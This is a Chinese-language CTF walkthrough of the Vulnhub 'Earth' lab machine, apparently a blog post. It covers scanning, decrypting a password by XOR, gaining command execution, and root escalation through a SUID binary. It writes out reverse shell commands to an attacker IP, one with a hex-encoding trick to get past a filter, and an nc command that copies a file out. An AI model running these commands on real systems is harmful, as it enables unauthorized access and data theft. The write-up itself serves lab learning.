当前位置: 首页 > article >正文

Vulnhub靶场(Earth)

项目地址

https://download.vulnhub.com/theplanets/Earth.ova.torrent

搭建靶机

官网下载.ova文件双击vm打开导入

获取靶机IP kail终端输入

arp-scan -l

获取靶机 IP 192.168.131.184

信息收集

端口扫描

sudo nmap -sC -sV -p- 192.168.131.184

可以看到开启22端口,80端口

并且80端口配置了两个dns,需要修改hosts文件指定IP

访问ip

发现400报错 修改hosts

sudo chmod 777 /etc/hosts
vi /etc/hosts
192.168.131.184 earth.local terratest.earth.local

浏览器访问http://earth.local,页面显示正常

输入框随意添加字符,点击Send Message,下方会增加一串数字

访问另外一个域名https://terratest.earth.local

目录扫描

dirb https://terratest.earth.local/

漏洞利用

尝试访问robots.txt

猜解后缀名为txt

浏览器访问https://terratest.earth.local/testingnotes.txt

文中提到testdata.txt作为解密字典,先下载它 terra是用户名

wget https://terratest.earth.local/testdata.txt --no-check-certificate

进入该文件

使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码

步骤:先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码/

According to radiometric datingestimation and other evidence, Earth formed over 5.5 billion years ago. within the first billion years of Earth's history,Life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

第三段解出了需要的东西,查看发现是重复的内容,可能是登陆密码

尝试登录

使用账号:terra 密码:earthclimatechangebad4humans登陆成功

发现是命令行 直接寻找flag文件:

find / -name "*flag*"

发现了一个用户flag:/var/earth_web/user_flag.txt

cat /var/earth_web/user_flag.txt

得到flag

反弹shell

kali中开启监听

nc -lvvp 1234

命令行输入

bash -i >& /dev/tcp/192.168.131.128/8888 0>&1

可以看到被拦截了

尝试将ip进行16进制转换绕过

bash -i >& /dev/tcp/0xc0.0xa8.0x83.0x80/1234 0>&1    

反弹成功

使用find命令查找一下flag

find / -name "*flag.txt"

可以得到user_flag
现在只有网站权限,尝试提权到root先看下suid有些什么信息,看到这个命令

find / -perm -u=s -type f 2>/dev/null

strings /usr/bin/reset_root

看到一条信息:大概意思是修改root密码为Earth

尝试执行reset_root

reset_root

提示触发器不存在

由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root/

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.131.128 2222 < /usr/bin/reset_root

可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在

那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

这里可以登录拿到flag


http://www.kler.cn/a/467821.html

相关文章:

  • axios和fetch的实现原理以及区别,与XMLHttpRequest的关系,并结合react封装统一请求示例
  • 计算机网络--路由表的更新
  • 云架构:考量与框架
  • Chapter4.1 Coding an LLM architecture
  • 【数据结构05】排序
  • 数据结构知识收集尊享版(迅速了解回顾相关知识)
  • 【机器学习篇】解密算法魔方之魅之机器学习的多维应用盛宴
  • C 实现植物大战僵尸(四)
  • 太速科技-633-4通道2Gsps 14bit AD采集PCie卡
  • Azkaban其二,具体使用以及告警设置
  • win10 npm login 登陆失败
  • ARM CCA机密计算安全模型之CCA认证
  • 大数据技术(六)—— Hbase集群安装
  • Oracle ADG备机报错ORA-00328 ORA-00334
  • 人工智能:是助力还是取代?
  • CSP知识点整理大全
  • arm64函数源码和汇编解析(objdump)
  • Java【线程与并发】
  • 项目配置设置二 (芒果头条项目进度3)
  • 大型 UniApp 应用的架构设计
  • HTTP、HTTP/2 和 gRPC 是网络通信协议或基于这些协议的技术,它们之间有显著的区别
  • 003__系统共享工具、服务器的使用
  • 高等数学学习笔记 ☞ 极限的运算法则与存在准则
  • MySQL(四)MySQL Select语句
  • RISC-V学习笔记
  • QML自定义数值编辑框SpinBox样式